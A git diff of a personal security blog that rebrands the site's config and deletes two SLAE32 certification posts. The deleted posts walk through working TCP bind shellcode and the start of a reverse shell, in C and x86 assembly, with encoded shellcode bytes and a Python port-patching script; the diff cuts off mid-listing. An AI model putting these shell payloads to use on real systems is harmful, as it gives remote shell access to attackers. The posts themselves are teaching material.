diff --git a/_config.yml b/_config.yml index e92aca2aca..0b9b2b99a7 100644 --- a/_config.yml +++ b/_config.yml @@ -16,14 +16,14 @@ minimal_mistakes_skin : "haxor" # "air", "aqua", "contrast", "dark", "dirt", # Site Settings locale : "en-US" -title : "snowscan.io" +title : "angycisneros.io" title_separator : "-" -name : "Snowscan" +name : "ranger" description : "Posts about security, CTFs and networking" -url : "https://snowscan.io" # the base hostname & protocol for your site e.g. "https://mmistakes.github.io" +url : "https://angycisneros.github.io" # the base hostname & protocol for your site e.g. "https://mmistakes.github.io" baseurl : # the subpath of your site, e.g. "/blog" -repository : "slemire/slemire.github.io" # GitHub username/repo-name e.g. "mmistakes/minimal-mistakes" -logo : "/assets/images/masthead.png" +repository : "angycisneros/angycisneros.github.io" # GitHub username/repo-name e.g. "mmistakes/minimal-mistakes" +logo : "/assets/images/banner.png" teaser : # path of fallback teaser image, e.g. "/assets/images/500x300.png" breadcrumbs : true # true, false (default) words_per_minute : 200 @@ -101,11 +101,11 @@ analytics: # Site Author author: - name : "Snowscan" + name : "Angy" avatar : "/assets/images/avatar.png" - bio : "Pentester, CTF player
HackTheBox ATeam" - location : "Canada" - email : "info@snowscan.io" + bio : "Cybersecurity and tech enthusiast!" + location : + email : uri : home : # null (default), "absolute or relative url to link to author home" bitbucket : @@ -114,23 +114,23 @@ author: flickr : facebook : foursquare : - github : "slemire" + github : "angycisneros" gitlab : google_plus : - keybase : "snowscan" + keybase : instagram : lastfm : - linkedin : # "john-doe-12345678" (the last part of your profile url, e.g. https://www.linkedin.com/in/john-doe-12345678) + linkedin : "angycisneros" # "john-doe-12345678" (the last part of your profile url, e.g. https://www.linkedin.com/in/john-doe-12345678) pinterest : soundcloud : stackoverflow : # "123456/username" (the last part of your profile url, e.g. https://stackoverflow.com/users/123456/username) steam : # "steamId" (the last part of your profile url, e.g. https://steamcommunity.com/id/steamId/) tumblr : - twitter : "snowscan" + twitter : # example ---> "user" vine : weibo : xing : - youtube : # "https://youtube.com/c/MichaelRoseDesign" + youtube : # "https://youtube.com/c/user" # Reading Files @@ -269,4 +269,4 @@ defaults: read_time: false comments: false share: false - related: true \ No newline at end of file + related: true diff --git a/_posts/2018-11-18-tcp-bind-shellcode.md b/_posts/2018-11-18-tcp-bind-shellcode.md deleted file mode 100644 index dd7657a388..0000000000 --- a/_posts/2018-11-18-tcp-bind-shellcode.md +++ /dev/null @@ -1,666 +0,0 @@ ---- -layout: single -title: TCP bind shellcode -date: 2018-11-18 -classes: wide -header: - teaser: /assets/images/slae32.png -categories: - - slae - - infosec -tags: - - slae - - assembly - - tcp bind shellcode ---- -A bind shellcode listens on a socket, waiting for a connection to be made to the server then executes arbitrary code, typically spawning shell for the connecting user. This post demonstrates a simple TCP bind shellcode that executes a shell. - -The shellcode does the following: -1. Creates a socket -2. Binds the socket to an IP address and port -3. Listens for incoming connections -4. Redirects STDIN, STDOUT and STDERR to the socket once a connection is made -5. Executes a shell - -### C prototype ---------------- -To better understand the process of creating a bind shellcode, I created a prototype in C that uses the same functions that'll be used in the assembly version. The full code is shown here. We'll walk through each section of the code after. - -```c -#include -#include -#include -#include -#include - -int main() -{ - // Create addr struct - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(4444); // Port - addr.sin_addr.s_addr = htonl(INADDR_ANY); // Listen on any interface - - // Create socket - int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - if (sock == -1) { - perror("Socket creation failed.\n"); - exit(EXIT_FAILURE); - } - - // Bind socket - if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) { - perror("Socket bind failed.\n"); - close(sock); - exit(EXIT_FAILURE); - } - - // Listen for connection - if (listen(sock, 0) == -1) { - perror("Listen failed.\n"); - close(sock); - exit(EXIT_FAILURE); - } - - // Accept connection - int fd = accept(sock, NULL, NULL); - if (fd == -1) { - perror("Socket accept failed.\n"); - close(sock); - exit(EXIT_FAILURE); - } - - // Duplicate stdin/stdout/stderr to socket - dup2(fd, 0); // stdin - dup2(fd, 1); // stdout - dup2(fd, 2); // stderr - - // Execute shell - execve("/bin/sh", NULL, NULL); -} -``` - -#### 1. Socket creation -```c -// Create socket -int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); -if (sock == -1) { - perror("Socket creation failed.\n"); - exit(EXIT_FAILURE); -} -``` - -The `socket` function requires 3 arguments: -- int `domain`: The domain is `AF_INET` here since we are going to use IPv4 instead of local sockets or IPv6. -- int `type`: For TCP sockets we use `SOCK_STREAM`. If we wanted to use UDP we'd use `SOCK_DGRAM` instead. -- int `protocol`: For `SOCK_STREAM`, there's a single protocol implemented, we could use 0 also here. - -#### 2. Binding the socket -```c -// Create addr struct - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(4444); // Port - addr.sin_addr.s_addr = htonl(INADDR_ANY); // Listen on any interface - -[...] - -// Bind socket -if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) { - perror("Socket bind failed.\n"); - close(sock); - exit(EXIT_FAILURE); -} -``` -A socket by itself doesn't do anything since we haven't associated the socket with any port or IP address. The `bind` function assigns the IP and port to the socket previously created. The man pages for `ip` explain the different parameters: - -```c -struct sockaddr_in { - sa_family_t sin_family; /* address family: AF_INET */ - in_port_t sin_port; /* port in network byte order */ - struct in_addr sin_addr; /* internet address */ -}; - -/* Internet address. */ -struct in_addr { - uint32_t s_addr; /* address in network byte order */ -}; -``` - -In data networking, packets are transmitted in big-endian order (aka network byte order), so we use the `htons` and `htonl` function to convert the port and address to the right endianness. The `INADDR_ANY` is just a reference to NULL, so the program will bind to all interfaces on the machine. If we wanted to listen on a specific interface we would use the IP address of the interface here. - -#### 3. Listen and Accept connections - -```c -// Listen for connection -if (listen(sock, 0) == -1) { - perror("Listen failed.\n"); - close(sock); - exit(EXIT_FAILURE); -} - -// Accept connection -int fd = accept(sock, NULL, NULL); -if (fd == -1) { - perror("Socket accept failed.\n"); - close(sock); - exit(EXIT_FAILURE); -} -``` - -The `listen` function tells the socket to listen for new connections. We can set the backlog to 0 since we only need to process a single connection request. - -The `accept` function requires 3 arguments: -- int `sockfd`: This is the value of the socket descriptor we created earlier -- struct `sockaddr *addr`: We can set this to NULL because we don't need to store the IP address of the connection host -- socklen_t `*addrlen`: Set to NULL because we're not using `addr` - -The program now waits for incoming connection as this point. As indicated in the man page: - -> If no pending connections are present on the queue, and the socket is not marked as nonblocking, accept() blocks the caller until a connection is present. - -When the connection is received, the `accept` function will return the descriptor of the connection which we'll use to redirected IO to. - -#### 4. Duplicate file descriptors - -```c - // Duplicate stdin/stdout/stderr to socket - dup2(fd, 0); //stdin - dup2(fd, 1); //stdout - dup2(fd, 2); //stderr -``` - -Before the shell is executed, the file descriptors for stdin, stdout and stderr are duplicated to the descriptor of the TCP connection. This is necessary to redirect input and output from the executed process to the network socket. - -#### 5. Execute shell - -```c -// Execute shell -execve("/bin/sh", NULL, NULL); -``` - -`execve` does not start a new process but instead replaces the current program with a new one. Here the `/bin/sh` shell binary is used without any arguments passed to it. If we wanted to use another binary with command line arguments or environment variables, we'd pass those using the 2nd and 3rd arguments. - -#### Testing the program - -The code is compiled as follows: -``` -slemire@slae:~/slae32/assignment1$ gcc -o shell_bind_tcp_c shell_bind_tcp.c -shell_bind_tcp.c: In function ‘main’: -shell_bind_tcp.c:50:2: warning: null argument where non-null required (argument 2) [-Wnonnull] - execve("/bin/sh", NULL, NULL); - ^ -``` - -The compiler gives a warning because we're using a NULL value instead of pointing to an array of strings but the code still works. - -Now it's time to test it, : -``` -[In the first terminal session] -slemire@slae:~/slae32/assignment1$ ./shell_bind_tcp -... -[Using another terminal session] -slemire@slae:~$ nc -nv 127.0.0.1 4444 -Connection to 127.0.0.1 4444 port [tcp/*] succeeded! -id -uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) -``` - -`ltrace` can be used to record dynamic library calls made during the execution of the program. We can see both file descriptors created: `fd 4` is the one created when the connection is accepted, and is the one used to redirect the input & output to. -```console -slemire@supersnake:~/slae32/assignment1$ ltrace ./shell_bind_tcp_c -__libc_start_main(0x804864b, 1, 0xbffff6b4, 0x80487f0 -htons(4444, 0xb7fcc000, 0xb7fca244, 0xb7e320ec) = 0x5c11 -htonl(0, 0xb7fcc000, 0xb7fca244, 0xb7e320ec) = 0 -socket(2, 1, 6) = 3 -bind(3, 0xbffff5ec, 16, 0xb7e320ec) = 0 -listen(3, 0, 16, 0xb7e320ec) = 0 -accept(3, 0, 0, 0xb7e320ec) = 4 -dup2(4, 0) = 0 -dup2(4, 1) = 1 -dup2(4, 2) = 2 -execve(0x80488c5, 0, 0, 0xb7e320ec ---- Called exec() --- -``` - -### Assembly version --------------------- -The assembly version follows the same logic flow previously used in the C protoype. First, registers are cleared to make sure there are no unintended side effects when testing the shellcode within the `shellcode.c` skeleton program. Initially, when I tested the code and didn't clear out all registers, the ELF binary created by NASM worked ok but the shellcode inside the skeleton program crashed because EAX already had a value in the upper half of the register. - -```nasm -; Zero registers -xor eax, eax -xor ebx, ebx -xor ecx, ecx -xor edx, edx -``` - -For this shellcode version, I used the initial syscall used in earlier Linux versions where a single syscall was used to control all socket functions on the kernel. Newer Linux versions implement separate syscalls as indicated in the `socketcall` man page: - ->On a some architectures—for example, x86-64 and ARM—there is no -socketcall() system call; instead socket(2), accept(2), bind(2), and -so on really are implemented as separate system calls. -> ->On x86-32, socketcall() was historically the only entry point for the -sockets API. However, starting in Linux 4.3, direct system calls are -provided on x86-32 for the sockets API. - -```int socketcall(int call, unsigned long *args);``` - -`sys_socketcall` works a bit differently than other syscalls. The first argument (EBX register) contains the function name being called and the 2nd argument in ECX contains a pointer to a memory address containing the various arguments for the function. - -`/usr/include/linux/net.h` contains the following list of function calls: - -```c -#define SYS_SOCKET 1 /* sys_socket(2) */ -#define SYS_BIND 2 /* sys_bind(2) */ -#define SYS_CONNECT 3 /* sys_connect(2) */ -#define SYS_LISTEN 4 /* sys_listen(2) */ -#define SYS_ACCEPT 5 /* sys_accept(2) */ -... -``` - -Let's take the socket creation as an example: - -```nasm -; Create socket -mov al, 0x66 ; sys_socketcall -mov bl, 0x1 ; SYS_SOCKET -push 0x6 ; int protocol -> IPPROTO_TCP -push 0x1 ; int type -> SOCK_STREAM -push 0x2 ; int domain -> AF_INET -mov ecx, esp -int 0x80 ; sys_socketcall (SYS_SOCKET) -mov edi, eax ; save socket fd -``` - -`EAX` contains `0x66` which is `sys_socketcall`, then EBX is set to `0x1` (SYS_SOCKET). Next the arguments for `socket()` itself are pushed on the stack then the value of the stack frame pointer is moved into `ECX`. When the function call returns, the descriptor value is saved into `EDI` so it can be used later. - -The sockaddr_in struct is created as follows: - -```nasm -; Create addr struct -push edx ; NULL padding -push edx ; NULL padding -push edx ; sin.addr (0.0.0.0) -push word 0x5c11 ; Port -push word 0x2 ; AF_INET -mov esi, esp -``` - -Since the addr struct needs to be 16 bytes, `$edx` is pushed twice to add 8 bytes of null padding. `$edx` is pushed a third time to define the listening address for the socket and finally the port number is pushed followed by the domain value for `AF_INET`. - -For `bind`, we push the size of the addr struct (16 bytes), then its address which we saved to the `$esi` register earlier and the socket description from `$edi`. - -```nasm -; Bind socket -mov al, 0x66 ; sys_socketcall -mov bl, 0x2 ; SYS_BIND -push 0x10 ; socklen_t addrlen -push esi ; const struct sockaddr *addr -push edi ; int sockfd -> saved socket fd -mov ecx, esp -int 0x80 ; sys_socketcall (SYS_BIND) -``` - -The `listen` and `accept` functions work the same way with the arguments being pushed on the stack and using `sys_socketcall`. - -```nasm -; Listen for connection -mov al, 0x66 ; sys_socketcall -mov bl, 0x4 ; SYS_LISTEN -push edx ; int backlog -> NULL -push edi ; int sockfd -> saved socket fd -mov ecx, esp -int 0x80 ; sys_socketcall (SYS_LISTEN) - -; Accept connection -mov al, 0x66 ; sys_socketcall -mov bl, 0x5 ; SYS_ACCEPT -push edx ; socklen_t *addrlen -> NULL -push edx ; struct sockaddr *addr -> NULL -push edi ; int sockfd -> saved sock fd value -mov ecx, esp -int 0x80 ; sys_socketcall (SYS_ACCEPT) -``` - -To redirect IO to the descriptor, a loop with the `$ecx` register is used. Because of the way the loop instruction works (it exits when `$ecx` is 0), the `dec` and `inc` instruction are used here so we can still use the `$ecx` value to call `dup2`. - -```nasm -; Redirect STDIN, STDOUT, STDERR to socket -xor ecx, ecx -mov cl, 0x3 ; counter for loop (stdin to stderr) -mov ebx, edi ; socket fd - -dup2: -mov al, 0x3f ; sys_dup2 -dec ecx -int 0x80 ; sys_dup2 -inc ecx -loop dup2 -``` - -The `/bin/bash` program is used to spawn a shell, padding it with forward slashes so it is 4 bytes aligned. Because the string needs to be null-terminated, an garbage character (`A`) is added to string and is changed to a NULL with the subsequent `mov byte [esp + 11], al` instruction. - -```nasm -; execve() -xor eax, eax -push 0x41687361 ; ///bin/bashA -push 0x622f6e69 -push 0x622f2f2f -mov byte [esp + 11], al ; NULL terminate string -mov al, 0xb ; sys_execve -mov ebx, esp ; const char *filename -xor ecx, ecx ; char *const argv[] -xor edx, edx ; char *const envp[] -int 0x80 ; sys_execve -``` - -The final assembly code looks like this: - -```nasm -global _start - -section .text - -_start: - - ; Zero registers - xor eax, eax - xor ebx, ebx - xor ecx, ecx - xor edx, edx - - ; Create socket - mov al, 0x66 ; sys_socketcall - mov bl, 0x1 ; SYS_SOCKET - push 0x6 ; int protocol -> IPPROTO_TCP - push 0x1 ; int type -> SOCK_STREAM - push 0x2 ; int domain -> AF_INET - mov ecx, esp - int 0x80 ; sys_socketcall (SYS_SOCKET) - mov edi, eax ; save socket fd - - ; Create addr struct - push edx ; NULL padding - push edx ; NULL padding - push edx ; sin.addr (0.0.0.0) - push word 0x5c11 ; Port - push word 0x2 ; AF_INET - mov esi, esp - - ; Bind socket - mov al, 0x66 ; sys_socketcall - mov bl, 0x2 ; SYS_BIND - push 0x10 ; socklen_t addrlen - push esi ; const struct sockaddr *addr - push edi ; int sockfd -> saved socket fd - mov ecx, esp - int 0x80 ; sys_socketcall (SYS_BIND) - - ; Listen for connection - mov al, 0x66 ; sys_socketcall - mov bl, 0x4 ; SYS_LISTEN - push edx ; int backlog -> NULL - push edi ; int sockfd -> saved socket fd - mov ecx, esp - int 0x80 ; sys_socketcall (SYS_LISTEN) - - ; Accept connection - mov al, 0x66 ; sys_socketcall - mov bl, 0x5 ; SYS_ACCEPT - push edx ; socklen_t *addrlen -> NULL - push edx ; struct sockaddr *addr -> NULL - push edi ; int sockfd -> saved sock fd value - mov ecx, esp - int 0x80 ; sys_socketcall (SYS_ACCEPT) - mov edi, eax - - ; Redirect STDIN, STDOUT, STDERR to socket - xor ecx, ecx - mov cl, 0x3 ; counter for loop (stdin to stderr) - mov ebx, edi ; socket fd - - dup2: - mov al, 0x3f ; sys_dup2 - dec ecx - int 0x80 ; sys_dup2 - inc ecx - loop dup2 - - ; execve() - xor eax, eax - push 0x41687361 ; ///bin/bashA - push 0x622f6e69 - push 0x622f2f2f - mov byte [esp + 11], al ; NULL terminate string - mov al, 0xb ; sys_execve - mov ebx, esp ; const char *filename - xor ecx, ecx ; char *const argv[] - xor edx, edx ; char *const envp[] - int 0x80 ; sys_execve -``` - -Compiling and linking the code... -```console -slemire@slae:~/slae32/assignment1$ ../compile.sh shell_bind_tcp -[+] Assembling with Nasm ... -[+] Linking ... -[+] Shellcode: \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80 -[+] Length: 116 -[+] Done! -``` - -Testing the ELF binary generated by NASM: -```console -slemire@slae:~/slae32/assignment1$ file shell_bind_tcp -shell_bind_tcp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped -[...] -slemire@slae:~/slae32/assignment1$ ./shell_bind_tcp -[...] -slemire@slae:~$ nc -nv 127.0.0.1 4444 -Connection to 127.0.0.1 4444 port [tcp/*] succeeded! -id -uid=1000(slemire) gid=1000(slemire) groups=1000(slemire),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) -``` - -The `shellcode.c` program is then used to test the shellcode as it would used in an actual exploit: -```c -#include - -char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80"; - -int main() -{ - int (*ret)() = (int(*)())shellcode; - printf("Size: %d bytes.\n", sizeof(shellcode)); - ret(); -} -``` - -The test program is compiled and tested: - -``` -slemire@slae:~/slae32/assignment1$ gcc -o shellcode -fno-stack-protector -z execstack shellcode.c -slemire@slae:~/slae32/assignment1$ ./shellcode -[...] -slemire@slae:~$ nc -nv 127.0.0.1 4444 -Connection to 127.0.0.1 4444 port [tcp/*] succeeded! -whoami -slemire -``` - -### 2nd version using syscalls ------------------------------- -The 2nd version of this bind shellcode uses the new syscalls. According to the following [kernel patch](https://patchwork.kernel.org/patch/146431/), sometimes in 2010 they added new syscall entries for non-multiplexed socket calls. - -The ones that interest us are: - -```c -#define __NR_socket 359 -#define __NR_bind 361 -#define __NR_connect 362 -#define __NR_listen 363 -#define __NR_accept4 364 -``` - -Instead of using `sys_socketcall`, we can use those syscalls directly and put the arguments in the registers. The same code flow is used but the arguments are passed differently. - -The second version of the shellcode looks like this: - -```nasm -global _start - -section .text - -_start: - - ; Zero registers - xor eax, eax - xor ebx, ebx - xor ecx, ecx - xor edx, edx - - ; Create socket - mov ax, 0x167 ; sys_socket - mov bl, 0x2 ; int domain -> AF_INET - inc ecx ; int type -> SOCK_STREAM - mov dl, 0x6 ; int protocol -> IPPROTO_TCP - int 0x80 ; sys_socket - mov edi, eax ; save socket fd - - ; Create addr struct - xor edx, edx - push edx ; NULL padding - push edx ; NULL padding - push edx ; sin.addr (0.0.0.0) - push word 0x5c11 ; Port - push word 0x2 ; AF_INET - mov esi, esp - - ; Bind socket - mov ax, 0x169 ; sys_bind - mov ebx, edi ; int sockfd -> saved socket fd - mov ecx, esi ; const struct sockaddr *addr - mov dl, 0x10 ; socklen_t addrlen - int 0x80 ; sys_bind - - ; Listen for connection - mov ax, 0x16b ; sys_listen - mov ebx, edi ; int sockfd -> saved socket fd - xor ecx, ecx ; int backlog -> NULL - int 0x80 ; sys_socketcall (SYS_LISTEN) - - ; Accept connection - mov ax, 0x16c ; sys_accept4 - mov ebx, edi ; int sockfd -> saved sock fd value - xor ecx, ecx ; struct sockaddr *addr -> NULL - xor edx, edx ; socklen_t *addrlen -> NULL - xor esi, esi - int 0x80 ; sys_socketcall (SYS_ACCEPT) - mov edi, eax ; save the new fd - - ; Redirect STDIN, STDOUT, STDERR to socket - xor ecx, ecx - mov cl, 0x3 ; counter for loop (stdin to stderr) - mov ebx, edi ; socket fd - - dup2: - mov al, 0x3f ; sys_dup2 - dec ecx - int 0x80 ; sys_dup2 - inc ecx - loop dup2 - - ; execve() - xor eax, eax - push 0x41687361 ; ///bin/bashA - push 0x622f6e69 - push 0x622f2f2f - mov byte [esp + 11], al ; NULL terminate string - mov al, 0xb ; sys_execve - mov ebx, esp ; const char *filename - xor ecx, ecx ; char *const argv[] - xor edx, edx ; char *const envp[] - int 0x80 ; sys_execve -``` - -If we want to change the listening port, we can modify the assembly code and re-compile it but instead it would be more convenient to use a small python script that will automatically replace the port in the shellcode. - -The following script replaces the hardcoded port `4444` from the shellcode with the port supplied at the command line. The script also gives a warning if any null bytes are contained in the modified shellcode. Depending on which port is being used, it's possible some values may generate null bytes. - -```python -#!/usr/bin/python - -import socket -import sys - -shellcode = '\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x66\\xb3\\x01\\x6a\\x06\\x6a\\x01' -shellcode += '\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x52\\x52\\x52\\x66\\x68\\x11\\x5c\\x66' -shellcode += '\\x6a\\x02\\x89\\xe6\\xb0\\x66\\xb3\\x02\\x6a\\x10\\x56\\x57\\x89\\xe1\\xcd\\x80' -shellcode += '\\xb0\\x66\\xb3\\x04\\x52\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52' -shellcode += '\\x57\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x31\\xc9\\xb1\\x03\\x89\\xfb\\xb0\\x3f\\x49' -shellcode += '\\xcd\\x80\\x41\\xe2\\xf8\\x31\\xc0\\x68\\x61\\x73\\x68\\x41\\x68\\x69\\x6e\\x2f' -shellcode += '\\x62\\x68\\x2f\\x2f\\x2f\\x62\\x88\\x44\\x24\\x0b\\xb0\\x0b\\x89\\xe3\\x31\\xc9' -shellcode += '\\x31\\xd2\\xcd\\x80' - -if len(sys.argv) < 2: - print('Usage: {name} [port]'.format(name = sys.argv[0])) - exit(1) - -port = sys.argv[1] -port_htons = hex(socket.htons(int(port))) - -byte1 = port_htons[4:] -if byte1 == '': - byte1 = '0' -byte2 = port_htons[2:4] -shellcode = shellcode.replace('\\x11\\x5c', '\\x{}\\x{}'.format(byte1, byte2)) - -print('Here\'s the shellcode using port {port}:'.format(port = port)) -print(shellcode) - -if '\\x0\\' in shellcode or '\\x00\\' in shellcode: - print('##################################') - print('Warning: Null byte in shellcode!') - print('##################################') -``` - -Here's the script in action: -``` -slemire@slae:~/slae32/assignment1$ ./prepare.py 5555 -Here's the shellcode using port 5555: -\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x15\xb3\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80 -``` - -The shellcode is then added to the test program. -```c -#include - -char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x52\x66\x68\x15\xb3\x66\x6a\x02\x89\xe6\xb0\x66\xb3\x02\x6a\x10\x56\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc9\xb1\x03\x89\xfb\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x31\xc0\x68\x61\x73\x68\x41\x68\x69\x6e\x2f\x62\x68\x2f\x2f\x2f\x62\x88\x44\x24\x0b\xb0\x0b\x89\xe3\x31\xc9\x31\xd2\xcd\x80"; - -int main() -{ - int (*ret)() = (int(*)())shellcode; - printf("Size: %d bytes.\n", sizeof(shellcode)); - ret(); -} -``` - -``` -slemire@slae:~$ gcc -o test -fno-stack-protector -z execstack shellcode.c -slemire@slae:~$ ./test -[...] -slemire@slae:~$ nc -nv 127.0.0.1 5555 -Connection to 127.0.0.1 5555 port [tcp/*] succeeded! -whoami -slemire -``` - -This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: - -[http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/](http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) - -Student ID: SLAE-1236 - -All source files can be found on GitHub at [https://github.com/slemire/slae32](https://github.com/slemire/slae32) \ No newline at end of file diff --git a/_posts/2018-11-18-tcp-reverse_shellcode.md b/_posts/2018-11-18-tcp-reverse_shellcode.md deleted file mode 100644 index 178c8f9e87..0000000000 --- a/_posts/2018-11-18-tcp-reverse_shellcode.md +++ /dev/null @@ -1,387 +0,0 @@ ---- -layout: single -title: TCP reverse shellcode -date: 2018-11-18 12:00:00 -classes: wide -header: - teaser: /assets/images/slae32.png -categories: - - slae - - infosec -tags: - - slae - - assembly - - tcp reverse shellcode ---- - -A TCP reverse shell connects back to the attacker machine, then executes a shell and redirects all input & output to the socket. This is especially useful when a firewall denies incoming connections but allows outgoing connections. - -### C prototype ---------------- -First, a C prototype is created to test the functionality before building the final shellcode in assembly. - -This is the C protype used for the reverse shellcode: -```c -#include -#include -#include -#include -#include - -int main() -{ - // Create addr struct - struct sockaddr_in addr; - addr.sin_family = AF_INET; - addr.sin_port = htons(4444); // Port - addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Connection IP - - // Create socket - int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - if (sock == -1) { - perror("Socket creation failed.\n"); - exit(EXIT_FAILURE); - } - - // Connect socket - if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) { - perror("Socket connection failed.\n"); - close(sock); - exit(EXIT_FAILURE); - } - - // Duplicate stdin, stdout, stderr to socket - dup2(sock, 0); //stdin - dup2(sock, 1); //stdout - dup2(sock, 2); //stderr - - //Execute shell - execve("/bin/sh", NULL, NULL); -} -``` - -#### Testing the program - -Compiling the C prototype: -``` -slemire@slae:~/slae32/assignment2$ gcc -o shell_tcp_reverse_c shell_tcp_reverse.c -shell_tcp_reverse.c: In function ‘main’: -shell_tcp_reverse.c:13:25: warning: implicit declaration of function ‘inet_addr’ [-Wimplicit-function-declaration] - addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // Connection IP - ^ -shell_tcp_reverse.c:35:2: warning: null argument where non-null required (argument 2) [-Wnonnull] - execve("/bin/sh", 0, 0); - ^ -``` - -Netcat is used to listen for the reverse shell connection on port 4444: -``` -slemire@slae:~/slae32/assignment2$ ./shell_tcp_reverse_c -[...] -slemire@slae:~$ nc -lvnp 4444 -Listening on [0.0.0.0] (family 0, port 4444) -Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 52202) -whoami -slemire -``` - -### Assembly version --------------------- -Similar to the bind shellcode, we first clear out the registers so there is nothing left in the upper or lower half that could cause problems with the program execution. - -```nasm -; Zero registers -xor eax, eax -xor ebx, ebx -xor ecx, ecx -xor edx, edx -``` - -Next, a socket is created and we create the addr struct used to store the IP and port where the shellcode will connect to. In this example, the `127.0.0.1` IP is used with port `4444`. Later, we will use a python script to easily modify the IP address and port in the shellcode so we don't need to touch the assembly code manually every time we want to make a change. Depending on the IP address used, the shellcode generated might contain null bytes so instead the IP address is XORed with a specific key that won't result in null bytes in the shellcode. - -```nasm -; Create socket -mov al, 0x66 ; sys_socketcall -mov bl, 0x1 ; SYS_SOCKET -push 0x6 ; int protocol -> IPPROTO_TCP -push 0x1 ; int type -> SOCK_STREAM -push 0x2 ; int domain -> AF_INET -mov ecx, esp -int 0x80 ; sys_socketcall (SYS_SOCKET) -mov edi, eax ; save socket fd - -; Create addr struct -mov eax, 0xfeffff80 ; 127.0.0.1 XORed -mov ebx, 0xffffffff ; XOR key (should be changed depending on IP to avoid nulls) -xor eax, ebx ; -push edx ; NULL padding -push edx ; NULL padding -push eax ; sin.addr (127.0.0.1) -push word 0x5c11 ; Port 4444 -push word 0x2 ; AF_INET -mov esi, esp -``` - -The reverse shellcode is simpler than a bind one since we only need to call `connect` and the server will initiate a connection to the attacker machine. - -```nasm -; Connect socket -xor eax, eax -xor ebx, ebx -mov al, 0x66 ; sys_socketcall -mov bl, 0x3 ; SYS_CONNECT -push 0x10 ; socklen_t addrlen -push esi ; const struct sockaddr *addr -push edi ; int sockfd -mov ecx, esp -int 0x80 -``` - -The same `dup2` function that is used with the bind shellcode is used here to redirect input & ouput then execute a shell with `execve`. The `/bin/bash` string is pushed in reverse order on the stack but since the string needs to be null terminated, we will null out the `A` byte at offset `ESP + 11`. - -```nasm -; Redirect STDIN, STDOUT, STDERR to socket -xor ecx, ecx -mov cl, 0x3 ; counter for loop (stdin to stderr) -mov ebx, edi ; socket fd - -dup2: -mov al, 0x3f ; sys_dup2 -dec ecx -int 0x80 ; sys_dup2 -inc ecx -loop dup2 - -; execve() -xor eax, eax -push 0x41687361 ; ///bin/bashA -push 0x622f6e69 -push 0x622f2f2f -mov byte [esp + 11], al -mov al, 0xb -mov ebx, 